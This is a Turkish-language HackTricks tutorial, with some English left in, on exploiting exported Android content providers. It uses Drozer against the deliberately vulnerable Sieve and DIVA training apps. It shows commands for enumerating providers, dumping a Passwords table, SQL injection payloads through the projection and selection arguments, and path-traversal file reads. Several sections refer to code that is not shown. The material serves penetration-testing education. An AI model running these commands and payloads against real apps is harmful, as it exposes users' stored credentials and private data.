Exploiting Content Providers

İçerik Sağlayıcıların Sömürülmesi

HackTricks'i Destekleyin

Giriş

Veri, bir uygulamadan diğerlerine bir içerik sağlayıcı olarak bilinen bir bileşen aracılığıyla talep üzerine sağlanır. Bu talepler, ContentResolver sınıfı yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar, verilerini veritabanı, dosyalar veya gibi çeşitli yerlerde depolayabilir.

Manifest.xml dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

content://com.mwr.example.sieve.DBContentProvider/Keys erişmek için READ_KEYS izni gereklidir. Geliştiricinin bir hatası nedeniyle /Keys'in güvence altına alındığı, ancak /Keys/'in korunmadığı ilginçtir.

Belki özel verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.

Açık içerik sağlayıcılardan bilgi alın

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

DBContentProvider'a ulaşmanın bir yolunu, URI'leri “content://” ile başlatarak bir araya getirmek mümkündür. Bu yaklaşım, Drozer kullanarak elde edilen içgörülere dayanmaktadır; burada anahtar bilgiler /Keys dizininde bulunmuştur.

Drozer birçok URI'yi tahmin edebilir ve deneyebilir:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

You should also check the ContentProvider code to search for queries:

Also, if you can't find full queries you could check which names are declared by the ContentProvider on the onCreate method:

The query will be like: content://name.of.package.class/declared_name

Veritabanı destekli İçerik Sağlayıcılar

Muhtemelen çoğu İçerik Sağlayıcı, bir veritabanı için arayüz olarak kullanılır. Bu nedenle, ona erişebilirseniz, bilgileri çıkarma, güncelleme, ekleme ve silme işlemlerini gerçekleştirebilirsiniz. Hassas bilgilere erişip erişemeyeceğinizi kontrol edin veya yetkilendirme mekanizmalarını atlamak için değiştirmeyi deneyin.

İçerik Sağlayıcının kodunu kontrol ederken şunları da arayın: query, insert, update ve delete gibi adlandırılmış fonksiyonlar:

Çünkü onları çağırabileceksiniz

İçerik sorgulama

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

İçerik Ekleme

Veritabanını sorgulayarak sütunların adını öğrenirsiniz, ardından veritabanına veri ekleyebilirsiniz:

Eklemelerde ve güncellemelerde --string ile string, --double ile double, --float, --integer, --long, --short, --boolean belirtmek için kullanabilirsiniz.

İçeriği Güncelleme

Sütunların adını bildiğinizde girdileri de değiştirebilirsiniz:

İçeriği Silme

SQL Enjeksiyonu

SQL enjeksiyonunu (SQLite) test etmek, içerik sağlayıcısına geçirilen projection ve selection fields'ı manipüle ederek basittir. Content Provider'ı sorgularken bilgi aramak için 2 ilginç argüman vardır: --selection ve --projection:

SQL enjeksiyonlarını test etmek için bu parametreleri istismar etmeyi deneyebilirsiniz:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozer ile Otomatik SQLInjection keşfi

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Dosya Sistemi Destekli İçerik Sağlayıcılar

İçerik sağlayıcılar dosyalara erişmek için de kullanılabilir:

Dosyayı Oku

İçerik Sağlayıcıdan dosyaları okuyabilirsiniz.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Path Traversal

Eğer dosyalara erişebiliyorsanız, Path Traversal'ı kötüye kullanmayı deneyebilirsiniz (bu durumda bu gerekli değil ama "../" ve benzeri hileleri kullanmayı deneyebilirsiniz).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozer ile Otomatik Yol Geçişi Keşfi

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Referanslar

HackTricks'i Destekleyin

Last updated